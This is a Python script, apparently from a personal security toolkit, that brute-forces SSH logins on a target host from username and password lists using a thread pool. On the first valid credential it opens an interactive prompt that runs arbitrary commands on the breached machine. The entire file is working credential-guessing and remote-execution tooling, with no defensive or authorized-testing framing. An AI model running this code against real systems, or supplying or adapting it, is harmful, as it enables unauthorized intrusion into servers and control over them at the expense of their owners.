#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
@Project : xy_toos
@File : ssh.py
@Author : 飞宇
@Time : 2025/9/10 20:52
@脚本说明 : 使用线程池进行SSH弱口令扫描，并提供成功后命令执行功能
"""
import warnings
import paramiko
from concurrent.futures import ThreadPoolExecutor
import threading

# 忽略警告信息，使输出更整洁
warnings.filterwarnings("ignore")
warnings.simplefilter("ignore")

# 全局锁，用于控制打印输出，避免多线程下的输出混乱
print_lock = threading.Lock()


def ssh_command_execution(ssh_client):
    """提供一个简单的shell来执行远程命令。"""
    print("\n--- 进入远程命令执行模式 ---")
    print("输入 'exit' 或 'quit' 退出。")
    try:
        while True:
            command = input("SSH-CMD >> ")
            if command.lower() in ["exit", "quit"]:
                break

            stdin, stdout, stderr = ssh_client.exec_command(command)
            output = stdout.read().decode('utf-8', errors='ignore')
            error = stderr.read().decode('utf-8', errors='ignore')

            if output:
                print(output, end='')
            if error:
                print(f"\n[ERROR]\n{error}", end='')
    except Exception as e:
        print(f"\n[!] 命令执行期间发生错误: {e}")
    finally:
        print("[*] 退出命令执行模式。")


def ssh_weak_password_scan(host, port, username, password, results):
    """
    使用单个用户名和密码尝试SSH连接。

    Args:
        host (str): 目标主机IP地址。
        port (int): 目标SSH端口。
        username (str): 尝试的用户名。
        password (str): 尝试的密码。
        results (list): 用于存储成功结果的列表。
    """
    # 如果已经找到结果，则不再继续扫描
    if results:
        return

    try:
        ssh_client = paramiko.SSHClient()
        ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        # 尝试连接，如果连接失败则直接忽略异常，不打印任何信息
        ssh_client.connect(
            hostname=host,
            port=port,
            username=username,
            password=password,
            timeout=5
        )

        # 如果成功连接
        if ssh_client.get_transport() and ssh_client.get_transport().is_active():
            with print_lock:
                # 检查是否已有成功结果，避免重复打印
                if not results:
                    print(f"\n[+] 成功: {host}:{port} -> 用户名: '{username}', 密码: '{password}'")
                    results.append({'client': ssh_client})

    except paramiko.ssh_exception.AuthenticationException:
        # 认证失败，说明密码错误，跳过
        pass
    except Exception:
        # 忽略所有其他连接相关的异常，包括横幅读取错误和连接重置错误
        pass


def ssh_run(host, port, usernames, passwords):
    """程序主入口，执行弱口令扫描任务。"""

    # 强制将单个用户名字符串转换为列表，以适应循环逻辑
    if isinstance(usernames, str):
        usernames = [usernames]

    print(f"\n[*] 开始对 {host}:{port} (用户: {usernames}) 进行弱口令扫描...")

    # 设置线程池最大工作线程数
    max_workers = 20
    successful_results = []

    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        for user in usernames:
            # 如果已经找到结果，停止提交新任务
            if successful_results:
                break
            for passwd in passwords:
                print(f"\n[*] 开始对 {host}:{port} (用户: {usernames}) 进行弱口令扫描...")
                executor.submit(ssh_weak_password_scan, host, port, user, passwd.strip(), successful_results)

    # 等待所有任务完成
    executor.shutdown(wait=True)

    if successful_results:
        ssh_client = successful_results[0]['client']
        print("\n[*] 弱口令扫描成功！")
        ssh_command_execution(ssh_client)
        ssh_client.close()
    else:
        print(f"\n[-] 弱口令扫描完成，未找到密码。")
